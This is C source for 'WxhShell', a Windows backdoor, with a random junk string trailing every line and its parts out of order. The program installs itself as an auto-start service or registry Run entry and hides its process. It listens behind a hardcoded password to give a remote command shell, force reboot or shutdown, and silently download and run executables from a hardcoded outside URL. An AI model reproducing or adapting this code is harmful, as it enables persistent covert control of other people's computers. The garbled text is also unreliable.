  case 'd': { `Wl_yC_*G;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m&PfZ%'[  
    if(Boot(SHUTDOWN)) MZ2/ks  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kC,=E9)O  
    else { saRYd{%+  
    closesocket(wsh); f 7R/i  
    ExitThread(0); r|MBkpcvp  
    } 1'NJ[ C`  
    break; |mMK9OEu  
    } jj,CBNo(  
  // 获取shell &6feR#~A  
  case 's': { bUzo>fm_  
    CmdShell(wsh); ,59G6o  
    closesocket(wsh); tG7F!um(  
    ExitThread(0); `w6*(t:T  
    break; (HEi;  
  } 3 as~yF0  
  // 退出 opXxtYC@  
  case 'x': { d/8p?Km  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )_&P:;N  
    CloseIt(wsh); ndmsXls  
    break; o5@d1A  
    } Z bW!c1s{  
  // 离开 bcR";cE  
  case 'q': { adcH3rV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x/pX?k  
    closesocket(wsh); B_uhNLd  
    WSACleanup(); /~(T[\E<  
    exit(1); J9%I&lu/  
    break; {xD\w^  
        } 2jVvK"C  
  } '^n,)oA/G  
  } .Ei#mG-=}&  
}WA =  
  // 提示信息 !.G knDT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cMfJq}C<  
} 3jqV/w[-  
  } #0"Pd8@  
e**<et.  
  return; *g*~+B :  
} 6`h}#@ (  
FUP0X2P   
// shell模块句柄 *@VS^JB  
int CmdShell(SOCKET sock) )krBj F.$  
{ B,q)<z6<  
STARTUPINFO si; bhl9:`s  
ZeroMemory(&si,sizeof(si)); qEvbKy}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *| 9:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GI<3L K\  
PROCESS_INFORMATION ProcessInfo; aD&4C -,1  
char cmdline[]="cmd"; /;5/7Bvj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oO3X>y{gN  
  return 0; ,/ YTW@N  
} ~eZ]LW])  
HdR TdV  
// 自身启动模式 >1qum'  
int StartFromService(void) 8DuD1hZq  
{ HEk{!Y  
typedef struct ,rNv}  
{ Ihd{tmr<  
  DWORD ExitStatus; o(gV;>I  
  DWORD PebBaseAddress; h3[x ZJO  
  DWORD AffinityMask; ~<Z7\yS)  
  DWORD BasePriority; .T1n"TfsGO  
  ULONG UniqueProcessId; Hmx Y{KB  
  ULONG InheritedFromUniqueProcessId; [k]3#<sS  
}   PROCESS_BASIC_INFORMATION; czLY+I;V3  
pkE4"M!3=  
PROCNTQSIP NtQueryInformationProcess; B/_~j_n$m  
 9+ A~(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eJ0Xfw%y%T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DC~1}|B"  
T8BewO=}  
  HANDLE             hProcess; IvX+yU  
  PROCESS_BASIC_INFORMATION pbi; ~_F<"40  
uC! dy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `J$7X  
  if(NULL == hInst ) return 0; ydTd.`  
ja4zLf(<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #= T^XHjQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #0f6X,3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c 'rn8Jo}  
z[qi~&7:v  
  if (!NtQueryInformationProcess) return 0; O|nLIfT  
)!lx'>0>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pupt__NZ)n  
  if(!hProcess) return 0; pE {yVs  
4$y P_3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yy{(XBJ~%t  
KRM:h`+-.-  
  CloseHandle(hProcess); n#5S-z1KNw  
F@b=S0}K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1'%n?\OK66  
if(hProcess==NULL) return 0; XFv^j SF  
]G~Z'fs<(  
HMODULE hMod; ! mZWd'  
char procName[255]; t 2,?+q$x  
unsigned long cbNeeded; e8eNef L$  
< w;49 0g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P}"T 3u\N  
(sSGJS'X  
  CloseHandle(hProcess); E5IS<.  
61}eB/;7  
if(strstr(procName,"services")) return 1; // 以服务启动 t pa<)\7KJ  
X G E.*aI  
  return 0; // 注册表启动 )S`=y-L$  
} 7$v_#ZE.H  
bs'hA@r  
// 主模块 Js&.p9S2  
int StartWxhshell(LPSTR lpCmdLine) `<6FCn4{X  
{ VsDY,=Ww  
  SOCKET wsl; 0$_WIk  
BOOL val=TRUE; WFTwFm6  
  int port=0; NpxgF<G  
  struct sockaddr_in door; s &f\gp1  
BdP+>Ij  
  if(wscfg.ws_autoins) Install(); ')TS'p,n  
(K('@W%\?  
port=atoi(lpCmdLine); /z )Nz2W  
{(l,Uhxl""  
if(port<=0) port=wscfg.ws_port; GHO6$iM)[  
<cFj-Ys(T  
  WSADATA data; (3Z;c_N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !xU[BCbfYV  
lV9   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Svdmg D!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >=86*U~  
  door.sin_family = AF_INET; _K B%g_{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;?v&=Z't.  
  door.sin_port = htons(port); AzVv- !Y  
uQ%3?bx)T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =imJ0V~RW  
closesocket(wsl); /i{V21(%  
return 1; ^mouWw)a_  
} C%|m[,Gx  
}lP`3e  
  if(listen(wsl,2) == INVALID_SOCKET) { _Nh`-R%B)  
closesocket(wsl); "y60YYn-#J  
return 1; ^I{/j 'b&  
} X%T%N;P  
  Wxhshell(wsl); {$V2L4  
  WSACleanup(); R+El/ya:6  
Y8h 96  
return 0; y[zjs^-vCv  
Yq'D-$@  
} #8$" 84&N.  
O=jzz&E+  
// 以NT服务方式启动 S~>R}=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iz0:  
{ fX2OH)6U  
DWORD   status = 0; $EL:Jx2<  
  DWORD   specificError = 0xfffffff; !;Ke#E_d  
hrGX65>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %/d1x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {B4.G8%Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^v+p@k  
  serviceStatus.dwWin32ExitCode     = 0; czsnPmNEI  
  serviceStatus.dwServiceSpecificExitCode = 0; r5y*SoD!  
  serviceStatus.dwCheckPoint       = 0; DPkH:X  
  serviceStatus.dwWaitHint       = 0; ,b:~Vpb1I  
">5$;{;2r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {w@9\LsU  
  if (hServiceStatusHandle==0) return; f`iDF+h<6  
!JBj%|!  
status = GetLastError(); u'^kpr`y  
  if (status!=NO_ERROR) d5`D[,]d  
{ X|aD>CT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h^,av^lg^  
    serviceStatus.dwCheckPoint       = 0; wB:<ICm  
    serviceStatus.dwWaitHint       = 0; q7I!wD9Cff  
    serviceStatus.dwWin32ExitCode     = status; 7GCxd#DJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; yb>R(y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]<K"`q2  
    return; ~[f`oC  
  } F3t IJz>3  
Qkw?Q V-`k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k9;t3-P  
  serviceStatus.dwCheckPoint       = 0; %j2$ ezud  
  serviceStatus.dwWaitHint       = 0; >WLHw!I!6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nFWiS~(#sW  
} V9Dq<y-y  
2qQ;U?:q  
// 处理NT服务事件,比如:启动、停止 !N!AO(Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) li{!Jp5]1b  
{ xZY7X&C4  
switch(fdwControl) u\"/EaQ{  
{ .Hk.'>YR  
case SERVICE_CONTROL_STOP: @>8 {J6%\  
  serviceStatus.dwWin32ExitCode = 0; 0M?zotv0#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :^-\KE` 3  
  serviceStatus.dwCheckPoint   = 0; ~SmFDg$/m  
  serviceStatus.dwWaitHint     = 0; [KCR@__  
  { )1YX+',"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VGc.yM)& j  
  } itg"dGDk  
  return; drvrj~o:  
case SERVICE_CONTROL_PAUSE: oS}fr?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5" (FilM  
  break; abCxB^5VL  
case SERVICE_CONTROL_CONTINUE: CNhLp#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G(ZEP.h`u  
  break; dk"@2%xJ2d  
case SERVICE_CONTROL_INTERROGATE: 7- C])9  
  break; J#q^CWN3R  
}; ,gM:s}l!dJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Az-!X!O*f  
} ,6o tm  
@sW!g;\T  
// 标准应用程序主函数 PIdGis5G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) < +k dL  
{ @yC3a)=$L  
gI"cZ h3}  
// 获取操作系统版本 4j'`,a=  
OsIsNt=GetOsVer(); fwlicbs'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VDxF%!h(  
\;!7IIe#  
  // 从命令行安装 n&a\mGF  
  if(strpbrk(lpCmdLine,"iI")) Install(); (;H% r &  
LFZ*mRiuKE  
  // 下载执行文件 _^`V0>Mh:  
if(wscfg.ws_downexe) { PS=q):R|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rQJ\Y3.  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z3=N= xY]  
} V-E 77u6{0  
S <-5<Pg  
if(!OsIsNt) { 9}L2$^#,NA  
// 如果时win9x,隐藏进程并且设置为注册表启动 3}fhU{-c  
HideProc(); G}LV"0?  
StartWxhshell(lpCmdLine); b|;h$otC  
} NqveL<r`  
else {wgq>cb  
  if(StartFromService()) JT~Dr KI_  
  // 以服务方式启动 jQ7-M4qO/  
  StartServiceCtrlDispatcher(DispatchTable); ==oJhB  
else fL("MDt  
  // 普通方式启动 cd=K=P}p  
  StartWxhshell(lpCmdLine); rq Uk_|Xa  
/0$405  
return 0; 8TK*VOf`  
} gvD*^  
kP5G}Bp  
EziGkbpd@  
IGi9YpI&K  
=========================================== -@Urq>^v T  
Qpj[]c5  
ReL+V  
*B84Y.df  
M*C1QQf\N  
MmePhHf  
" a.RYRq4o  
2@@evQ  
#include <stdio.h> .p?SPR  
#include <string.h> t* p%!xsH  
#include <windows.h> /Ahh6=qQY  
#include <winsock2.h> #&fu"W+D96  
#include <winsvc.h> nR wf;K  
#include <urlmon.h> Aa]3jev  
Q1x15pVku/  
#pragma comment (lib, "Ws2_32.lib") D;jbZ9  
#pragma comment (lib, "urlmon.lib") s:(z;cj/  
'KT(;Vof  
#define MAX_USER   100 // 最大客户端连接数 _OS,zZ0  
#define BUF_SOCK   200 // sock buffer [7g-M/jvY  
#define KEY_BUFF   255 // 输入 buffer FC||6vJth  
N9y+P sh  
#define REBOOT     0   // 重启 W-Vc6cq  
#define SHUTDOWN   1   // 关机 K5t.OAA:  
E7_OI7C  
#define DEF_PORT   5000 // 监听端口 '#e T  
{E7STLQ_%  
#define REG_LEN     16   // 注册表键长度  qmenj  
#define SVC_LEN     80   // NT服务名长度 LR\8M(rtvH  
pd & HC  
// 从dll定义API R@/"B?`(f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2JcP4!RD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3 `mtc@*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >,I'S2_Zl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #6l(2d  
O6ugN-d>  
// wxhshell配置信息  M%W#0  
struct WSCFG { 7s!rer>  
  int ws_port;         // 监听端口 AT1{D!b  
  char ws_passstr[REG_LEN]; // 口令 ;:+2.//  
  int ws_autoins;       // 安装标记, 1=yes 0=no n}fV$qu  
  char ws_regname[REG_LEN]; // 注册表键名 yy&L&v'  
  char ws_svcname[REG_LEN]; // 服务名 K5\l (BB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UO!} 0'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e$JCak=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zr_L V_e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yx,7e(AI`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G007[|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <h}x7y?  
xU}J6 Tv  
}; /L@6Ae  
+c, ^KHW  
// default Wxhshell configuration T:9M|mD  
struct WSCFG wscfg={DEF_PORT, bZK^q B  
    "xuhuanlingzhe", pjFj{  
    1, @Y>PtA&w*  
    "Wxhshell", 0vBQzM Q  
    "Wxhshell", H*P+>j&  
            "WxhShell Service", Zk>m!F>,p  
    "Wrsky Windows CmdShell Service", a/3'!}&e  
    "Please Input Your Password: ", t~nW&]E  
  1, %+;l|Z{Uf  
  "http://www.wrsky.com/wxhshell.exe", 5,V*aP  
  "Wxhshell.exe" "r3h+(5  
    }; 3bjCa\ "  
2V u?Y  
// 消息定义模块 9 `q(_\x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mFxt +\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H~SU:B:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D ] n|d+  
char *msg_ws_ext="\n\rExit."; U>m{B|H  
char *msg_ws_end="\n\rQuit."; ]=I2:Rb  
char *msg_ws_boot="\n\rReboot..."; ,dw\y/dn  
char *msg_ws_poff="\n\rShutdown..."; {;zHkmx  
char *msg_ws_down="\n\rSave to "; o@]n<ZYo  
_x#y   
char *msg_ws_err="\n\rErr!"; 8bO+[" c  
char *msg_ws_ok="\n\rOK!"; m}zXy\  
a? PH`5O  
char ExeFile[MAX_PATH]; +>Gw)|oX  
int nUser = 0; aGsO~ODc  
HANDLE handles[MAX_USER]; s{V&vRr  
int OsIsNt; 8Q{9AoQ3'  
&0:Gj3`  
SERVICE_STATUS       serviceStatus; M"u=)CT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [KbLEMrPba  
NWQ7%~#k*  
// 函数声明 T4gfQ6#  
int Install(void); (n jTS+?  
int Uninstall(void); 4;gw&sFF  
int DownloadFile(char *sURL, SOCKET wsh); ggYi7Wzsd  
int Boot(int flag); _bg Zl  
void HideProc(void); rd$T6!I  
int GetOsVer(void); GC3d7  
int Wxhshell(SOCKET wsl); Fm6]mz%~u#  
void TalkWithClient(void *cs); GK6CnSV8d  
int CmdShell(SOCKET sock); UX.rzYM&T  
int StartFromService(void); /h`gQyGuY  
int StartWxhshell(LPSTR lpCmdLine); ,!g/1m  
/6yVbo"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b&1hj[`)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U2vb&Qu/  
fb^R3wd$ff  
// 数据结构和表定义 nA.U'=`  
SERVICE_TABLE_ENTRY DispatchTable[] = 4e; le&  
{ _%B,^0;C  
{wscfg.ws_svcname, NTServiceMain}, 3DB= Xh  
{NULL, NULL} ) hoVB  
}; W_Y56@7e  
$vYy19z  
// 自我安装 a>,_o(]cW  
int Install(void) >uQjygjj  
{ *ezft&{)`  
  char svExeFile[MAX_PATH]; {)!ua7GF0H  
  HKEY key; 5nceOG8  
  strcpy(svExeFile,ExeFile); U~@;2\ o  
>c5   
// 如果是win9x系统,修改注册表设为自启动 ^gpd '*b  
if(!OsIsNt) { xS+xUi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eoQt87VCU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^nOh 8L;  
  RegCloseKey(key); H_Sv,lwz;c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P *PJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \VW":+  
  RegCloseKey(key); qf<o"B|_9  
  return 0; '.S02=/  
    } {Dy,|}7s  
  } Az#kE.8b*A  
} -;qK_x  
else { p-rQ'e  
[C~N#S[]  
// 如果是NT以上系统,安装为系统服务 ",,.xLI7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q^l!cL| {  
if (schSCManager!=0) $ kMe8F_  
{ m] p]J_6A  
  SC_HANDLE schService = CreateService ~HT:BO$  
  ( %(POC=b#[  
  schSCManager, TM_bu  
  wscfg.ws_svcname, -O/[c  
  wscfg.ws_svcdisp, V2@( BliP  
  SERVICE_ALL_ACCESS, ~ Hj c?*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +2Aggv>*  
  SERVICE_AUTO_START, ;G"!y<F  
  SERVICE_ERROR_NORMAL, *UN*&DmF  
  svExeFile, ^"vmIC.h  
  NULL, -qpM 6t  
  NULL, i??+5o@uTF  
  NULL, Lk^bzW>f  
  NULL, Tkp"mT v?<  
  NULL `Jj b4]  
  ); v{*2F  
  if (schService!=0) |Dq?<Ha  
  { Ju;^^  
  CloseServiceHandle(schService); ]_|%!/_  
  CloseServiceHandle(schSCManager); "e>9R'y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YWV)C?5x&  
  strcat(svExeFile,wscfg.ws_svcname); d0zp89BEn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UX|3LpFX&I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t0P_$+w.>  
  RegCloseKey(key); Y(K`3? A  
  return 0; 55y{9.n*  
    } -JFW ,8=8  
  } q9InO]s&~=  
  CloseServiceHandle(schSCManager); <&)zT#"  
} Pmr'W\aIR  
} '9<8<d7?  
r4K%dx-t  
return 1; 7suT26C  
} j-FMWEp  
JPgFTr  
// 自我卸载 4@a/k[,  
int Uninstall(void) J^~J&  
{ 1UB.2}/:  
  HKEY key; B/hQvA;(  
?A*<Z%}1?  
if(!OsIsNt) { A4;~+L:M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G#uB%:)&0u  
  RegDeleteValue(key,wscfg.ws_regname); @KZW*-"  
  RegCloseKey(key); EF=5[$ u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3k8. 5W  
  RegDeleteValue(key,wscfg.ws_regname); %6M%PR~u  
  RegCloseKey(key); !Ow M-t  
  return 0; 8hyX He  
  } #X'su`+  
} 3qV\XC+  
} 37M,Os1(  
else { ']OT7)_  
Hf30ve}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uo|:n"v  
if (schSCManager!=0) Y[>`#RhP  
{ 4)L};B=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PBiA/dG[;  
  if (schService!=0) FS('*w&bP  
  { < 5ULu(b&$  
  if(DeleteService(schService)!=0) { 7v.O Lp  
  CloseServiceHandle(schService); evVxzU&  
  CloseServiceHandle(schSCManager); 8S[bt@v  
  return 0; u`!Dp$P  
  } ~= otdJ  
  CloseServiceHandle(schService); 8e`HXU(A  
  } .&>3nu  
  CloseServiceHandle(schSCManager); >f|0# *  
} {5+69&:G.  
} u{l4O1k/c  
UCTc$3  
return 1; 1$m{)Io2(  
} 2) 2:KX  
2IkyC`  
// 从指定url下载文件 }ZiJHj'<  
int DownloadFile(char *sURL, SOCKET wsh) {q~N$"#  
{ $8[JL \  
  HRESULT hr; "`a,/h'  
char seps[]= "/"; )$*B  
char *token; vP%:\u:{  
char *file; #9qX:*>h   
char myURL[MAX_PATH]; z> N73 u  
char myFILE[MAX_PATH]; 2Z`Jr/  
"tA.`*  
strcpy(myURL,sURL); Pt6d5EIG  
  token=strtok(myURL,seps); _,p/2m-Pj  
  while(token!=NULL) 3 rLc\rK  
  { N5xI;UV9'  
    file=token; z38Pi  
  token=strtok(NULL,seps); s)sT\crP@  
  } [DtMT6F3  
Z 2$S'}F  
GetCurrentDirectory(MAX_PATH,myFILE); MY(51)*  
strcat(myFILE, "\\"); Pb59RE:7V  
strcat(myFILE, file); |Fq\%y#  
  send(wsh,myFILE,strlen(myFILE),0); k#p6QA hS  
send(wsh,"...",3,0); 'RV wxd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A43[i@o  
  if(hr==S_OK) Kc>Rd  
return 0; \vW'\}  
else {L M Q  
return 1; /}5)[9GC  
Q} g"pl  
} ]^@m $O  
PevT`\>  
// 系统电源模块 B!)Tytm9u  
int Boot(int flag) Y"m}=\4{  
{ FJW,G20L  
  HANDLE hToken; i&)OJy  
  TOKEN_PRIVILEGES tkp; 8>X]wA6q  
xBqZ: BQ  
  if(OsIsNt) { G12o?N0p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G^/8^Zi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )31xl6@  
    tkp.PrivilegeCount = 1; C7&L9k~jf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &.Yu%=}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #X?E#^6?E  
if(flag==REBOOT) { ~ D/1U)kt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v <| iN#  
  return 0; A 0;ng2&  
} -"bC[WN  
else { w3ZO CWJS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 <7sVd.  
  return 0; ?|n@ %'  
} vOtILL6  
  } > V >GiSni  
  else { }rWg ']  
if(flag==REBOOT) { Nlu]f-i':  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t^~itlE{  
  return 0; r[2*K 9  
} sAF="uB  
else { F-D$Y?m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RXO5p d  
  return 0; D\pX@Sx,v[  
} V7 hO}  
} t ^1uj:vD  
+zl [C  
return 1; xb&,9Lxd|  
} uaha)W;'9  
c/Li,9cT'  
// win9x进程隐藏模块 ]qEg5:yY  
void HideProc(void) Bc<pD?uOK  
{ WkPT6d  
._&SS,I5VZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ++=jh6  
  if ( hKernel != NULL ) Rq|]KAN  
  { y%<CkgZS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NA#,q 8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZRFHs>0  
    FreeLibrary(hKernel); 1_M}Dc+J  
  } [4;G^{ bX  
6DC+8I<  
return; =pnQ?2Og  
} x,GLGGi}_x  
p.x2R,CU  
// 获取操作系统版本 nrbP3sf*  
int GetOsVer(void) d$n<^ ~Z  
{ Z!l]v.S  
  OSVERSIONINFO winfo; Nema>T]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G"Hj$  
  GetVersionEx(&winfo); :_o^oi7G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oZi{v]4  
  return 1; U/h@Q\~U  
  else STPRC&7;  
  return 0; Lw<.QMN%f  
} Y6(= cm  
NGW:hgf  
// 客户端句柄模块 bE3mOml  
int Wxhshell(SOCKET wsl) 9A9T'g)Du  
{ &/g^J\0M)  
  SOCKET wsh; Ss\FSEN!/  
  struct sockaddr_in client; bP4}a!t+n  
  DWORD myID; 4"\%/kG  
WzBr1 ea{I  
  while(nUser<MAX_USER) D4~]:@v~n  
{  nL[G@1nR  
  int nSize=sizeof(client); S[N9/2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ff00s+  
  if(wsh==INVALID_SOCKET) return 1; x_wWe>0  
`dRqheX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F;BCSoO4  
if(handles[nUser]==0) ,}wFQ9*|W  
  closesocket(wsh); ^S!;snhn  
else xRq A^Ad  
  nUser++; MXDUKh7v3  
  } Ms-)S7tMz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "ZFH_5<  
#WAX&<m  
  return 0; a TPq1u  
} v3<q_J'qT  
^Ww5@  
// 关闭 socket g1Osd7\o  
void CloseIt(SOCKET wsh) s3 VD6xi7  
{ 2)-4?uz~  
closesocket(wsh); ?MS!t6  
nUser--; {P )O#  
ExitThread(0); YoWXHg!U  
} /NxuNi;5  
"|V}[ 2  
// 客户端请求句柄 8O[l[5u&  
void TalkWithClient(void *cs) be?Bf^O>  
{ 5gb:,+  
uJ0Wb$%  
  SOCKET wsh=(SOCKET)cs; }^^c/w_  
  char pwd[SVC_LEN]; flOXV   
  char cmd[KEY_BUFF]; R]0`-_T  
char chr[1]; FW{K[km^P  
int i,j; '"'RC O  
$KlaZ>D h  
  while (nUser < MAX_USER) { d$Y_vX<  
(;-_j /  
if(wscfg.ws_passstr) { 3jHg9M23[^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .bj:tmz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q4,/RZhzh  
  //ZeroMemory(pwd,KEY_BUFF); Oz)/KZ  
      i=0; RF~G{wz  
  while(i<SVC_LEN) { 0?O_]SD  
 2IGU{&s  
  // 设置超时 ]bYmM@  
  fd_set FdRead; g1(5QWb  
  struct timeval TimeOut; ):y^g:  
  FD_ZERO(&FdRead); V/zmbo)  
  FD_SET(wsh,&FdRead); *p9k> )'J  
  TimeOut.tv_sec=8; N7YCg  
  TimeOut.tv_usec=0; B![:fiR`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {SD%{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ekqS=KfWl;  
.K`n;lVs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -<M+$hK\  
  pwd=chr[0]; "bQi+@  
  if(chr[0]==0xd || chr[0]==0xa) { JVr8O`>T  
  pwd=0; 14*6+~38m&  
  break; =&(e*u_  
  } 5".bM8o  
  i++; =d]}7PO ~  
    } ( GoPXh  
}}k*i0  
  // 如果是非法用户,关闭 socket 5u3KL A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?Mn~XN4F_  
} i'\-Y]?[  
?CcX>R-/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O\)Kg2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H({m1v ~R  
<FI*A+I4\  
while(1) { bW=3X-)  
q- 0q:  
  ZeroMemory(cmd,KEY_BUFF); G5RdytK  
0j 8`M"6  
      // 自动支持客户端 telnet标准   ,t:P  
  j=0; 7>0u N|  
  while(j<KEY_BUFF) { AWssDbh/[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C[d1n#@r  
  cmd[j]=chr[0]; ]>%2,+5  
  if(chr[0]==0xa || chr[0]==0xd) { 3i'01z  
  cmd[j]=0; VL'wrgk  
  break; 5?([jAOf  
  } H4j1yD(d  
  j++; TQ0ZBhd  
    } Sw5:T  
5HE5$S  
  // 下载文件 bOp%  
  if(strstr(cmd,"http://")) { D5f[:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (h g6<`  
  if(DownloadFile(cmd,wsh)) 8Op^6rX4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dnQ6Ras  
  else sg49a9`8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %r*,m3d  
